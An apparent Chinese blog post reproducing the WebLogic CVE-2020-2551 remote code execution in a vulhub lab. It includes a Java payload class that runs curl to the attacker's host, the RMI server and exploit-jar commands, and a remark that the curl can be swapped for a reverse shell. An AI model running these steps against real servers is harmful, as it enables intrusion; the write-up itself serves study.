Weblogic CVE-2020-2551漏洞复现
阅读原文时间:2023年07月10日阅读:1

0x00 前言


在一次渗透测试过程中,碰见了该漏洞,并使用在野的POC验证了这个漏洞存在,当时工具网传的利用方式去进行利用,没有成功,可能是自己太菜了吧。于是今天就打算把它复现,再来尝试一下,看看是否可以成功利用。


0x01 漏洞环境


靶机环境:vulhub-weblogic-CVE-2017-10271

ip:172.16.10.26 端口:7001

攻击机环境:fsec,ip:192.168.82.134


0x02 漏洞利用


首先使用docker起一个weblogic CVE-2017-1027的环境,进入到vulhub/weblogic/CVE-2017-1027,然后使用命令docker-compose up -d启动:

查看是否启动成功,使用命令docker ps:

接着去访问本机的7001端口,出现如下页面,说明服务成功开启:

使用POC验证,看是否存在CVE-2020-2551漏洞:

发现存在,接着就是对其进行利用。

编写一个exp.java文件:

import java.io.IOException;
public class exp {
        static{
                try {
                        java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","curl http://192.168.82.134/sangforNP"});
                } catch (IOException e) {
                        e.printStackTrace();
                }
        }
        public static void main(String[] args) {

        }
}

其中curl http://192.168.82.134/sangforNP这句命令的作用是检测靶机是否成功执行了这句命令,成功执行的话会在攻击机架起的python http服务中会有一条这个记录。

然后进行编译,会发现多出一个exp.class文件

javac exp.java -source 1.6 -target 1.6

接着在当前目录下使用python3起一个http服务,使用命令:

python3 -m http.server 80

接着使用marshalsec起一个恶意的RMI服务:

然后开始进行攻击,使用命令:

java -jar weblogic_CVE_2020_2551.jar 172.16.10.26 7001 rmi://192.168.82.134:1099/exp

观察python服务,是否有出现这么一条sangforNP的记录:

成功,后面可以将exp.java中的命令换成反弹一个shell,就可以获取到一个shell。

复现到后面,在内部的一个网盘里找到了该漏洞的利用工具,不得不说打包好的利用工具真香,一键getshell。如下所示:

漏洞检测:

命令执行:

0x03 免责声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !